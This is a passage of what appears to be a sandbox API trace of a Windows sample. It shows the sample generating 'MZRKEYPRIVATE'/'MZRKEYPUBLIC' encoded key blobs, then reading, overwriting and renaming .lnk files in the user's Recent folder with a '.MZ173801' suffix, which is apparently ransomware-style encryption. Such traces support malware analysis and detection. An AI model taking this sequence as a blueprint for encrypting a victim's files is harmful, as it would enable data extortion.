lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.474] GetCurrentThreadId () returned 0xab4 [0148.474] GetCurrentThreadId () returned 0xab4 [0148.474] GetCurrentThreadId () returned 0xab4 [0148.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.475] GetCurrentThreadId () returned 0xab4 [0148.475] GetCurrentThreadId () returned 0xab4 [0148.475] GetCurrentThreadId () returned 0xab4 [0148.475] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jZEwhVWt50V33_ 5Cs5n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzewhvwt50v33_ 5cs5n.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x40d [0148.476] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.476] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x40d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x40d, lpOverlapped=0x0) returned 1 [0148.477] CloseHandle (hObject=0x280) returned 1 [0148.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jZEwhVWt50V33_ 5Cs5n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzewhvwt50v33_ 5cs5n.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.478] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x40d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x40d, lpOverlapped=0x0) returned 1 [0148.479] CloseHandle (hObject=0x280) returned 1 [0148.482] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jZEwhVWt50V33_ 5Cs5n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzewhvwt50v33_ 5cs5n.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jZEwhVWt50V33_ 5Cs5n.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzewhvwt50v33_ 5cs5n.lnk.mz173801")) returned 1 [0148.483] GetCurrentThreadId () returned 0xab4 [0148.483] GetCurrentThreadId () returned 0xab4 [0148.483] GetCurrentThreadId () returned 0xab4 [0148.483] GetCurrentThreadId () returned 0xab4 [0148.483] GetCurrentThreadId () returned 0xab4 [0148.483] GetCurrentThreadId () returned 0xab4 [0148.483] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2c5849, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7d2c5849, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7d2c5849, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Kbg6SBTSjJvSFEUP4JMP.lnk", cAlternateFileName="KBG6SB~1.LNK")) returned 1 [0148.483] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.483] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kbg6SBTSjJvSFEUP4JMP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kbg6sbtsjjvsfeup4jmp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2c5849, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7d2c5849, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7d2c5849, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5a7)) returned 1 [0148.483] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kbg6SBTSjJvSFEUP4JMP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kbg6sbtsjjvsfeup4jmp.lnk")) returned 0x20 [0148.484] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kbg6SBTSjJvSFEUP4JMP.lnk", dwFileAttributes=0x80) returned 1 [0148.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.486] GetCurrentThreadId () returned 0xab4 [0148.486] GetCurrentThreadId () returned 0xab4 [0148.486] GetCurrentThreadId () returned 0xab4 [0148.487] WideCharToMultiByte (in: CodePage=0x4e4, 